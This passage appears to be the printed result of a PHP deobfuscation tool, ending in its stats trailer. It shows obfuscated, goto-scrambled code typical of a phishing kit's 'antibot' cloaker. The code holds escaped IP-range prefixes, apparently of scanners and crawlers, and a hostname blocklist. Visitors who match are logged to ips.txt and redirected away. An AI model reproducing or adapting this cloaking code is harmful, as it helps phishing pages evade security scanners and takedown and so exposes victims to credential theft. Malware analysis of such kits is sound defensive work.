"\x5e\62\61\62\56\x32\x39\56\x31\x39\x32\56\x2a", "\x5e\62\x31\62\x2e\x32\x39\56\62\62\64\x2e\52", "\x5e\62\61\62\56\61\64\x33\x2e\x2a\x2e\52", "\x5e\62\x31\x32\56\61\x35\60\x2e\x2a\56\x2a", "\136\x32\x31\62\x2e\x32\x33\65\56\52\56\x2a", "\x5e\62\61\67\56\x31\63\x32\56\x2a\56\x2a", "\x5e\x35\x30\x2e\x39\x37\56\x2a\56\x2a", "\x5e\x32\x31\x37\x2e\61\63\62\x2e\x2a\56\x2a", "\x5e\62\60\x39\56\x38\x35\x2e\52\56\x2a", "\136\x36\66\x2e\62\60\x35\56\66\x34\56\x2a", "\136\x32\x30\64\56\x31\x34\56\64\x38\x2e\52", "\x5e\66\x34\x2e\x32\x37\56\62\56\x2a", "\136\66\67\x2e\61\65\56\52\56\52", "\136\62\x30\x32\56\x31\x30\70\56\x32\x35\62\x2e\52", "\x5e\61\71\63\56\64\x37\x2e\70\60\56\x2a", "\136\x36\x34\56\66\x32\56\61\63\x36\x2e\x2a", "\136\66\66\56\62\62\61\x2e\x2a\56\x2a", "\x5e\66\x34\56\x36\x32\x2e\x31\67\x35\56\x2a", "\x5e\61\71\70\x2e\65\64\56\x2a\56\52", "\136\x31\x39\62\56\61\x31\x35\x2e\x31\63\64\56\x2a", "\136\x32\61\x36\x2e\62\65\62\56\x31\x36\x37\56\52", "\136\61\x39\63\x2e\62\65\63\x2e\x31\71\71\56\52", "\x5e\x36\71\x2e\x36\61\56\61\62\x2e\52", "\x5e\66\x34\56\x33\x37\x2e\x31\x30\63\56\x2a", "\136\x33\x38\x2e\x31\x34\x34\56\x33\x36\x2e\x2a", "\x5e\66\64\56\61\62\x34\x2e\61\x34\56\52", "\x5e\x32\x30\66\x2e\62\70\x2e\x37\62\56\x2a", "\x5e\62\x30\x39\x2e\x37\x33\56\62\x32\70\x2e\52", "\x5e\61\x35\x38\x2e\x31\x30\70\56\x2a\x2e\52", "\x5e\x31\66\70\56\61\70\x38\56\x2a\x2e\x2a", "\x5e\66\66\x2e\62\60\67\56\x31\x32\60\x2e\x2a", "\136\61\x36\67\56\x32\64\56\52\x2e\52", "\x5e\61\71\x32\x2e\61\61\70\56\64\70\56\52", "\x5e\66\x37\x2e\x32\60\71\x2e\61\62\70\x2e\x2a", "\136\x31\62\56\61\x34\70\x2e\x32\60\71\56\52", "\x5e\x31\x32\56\x31\x34\x38\56\61\x39\x36\56\x2a", "\x5e\x31\x39\63\56\62\x32\x30\x2e\x31\x37\x38\56\52", "\x36\70\x2e\x36\x35\56\65\63\56\67\x31", "\136\x31\71\70\56\x32\65\x2e\52\56\x2a", "\x5e\x36\64\x2e\61\60\x36\x2e\62\x31\x33\x2e\x2a"); goto ML9Di; GUH5V: foreach ($lines as $line) { if (strpos($ip, $line) !== false) { $found = true; break; } } goto UyUt0; i4joz: error_reporting(0); goto mm3V_; Vof2J: foreach ($blocked_domain as $domain) { if (substr_count($hostname, $domain) > 0) { $ip = getenv("\122\105\115\117\124\x45\x5f\101\104\104\122"); $file = fopen("\x69\x70\x73\56\x74\x78\164", "\141"); fwrite($file, '' . $ip . "\12"); header("\x6c\x6f\x63\141\x74\x69\157\x6e\72\40{$link}"); die; } } goto tgICC; Zsb80: $random = rand(0, 11); goto JNy2Y; Jia4L: ?>
Function Calls
None |
Stats
MD5 | 00186432d9c336b1935ee34be8da6b10 |
Eval Count | 0 |
Decode Time | 75 ms |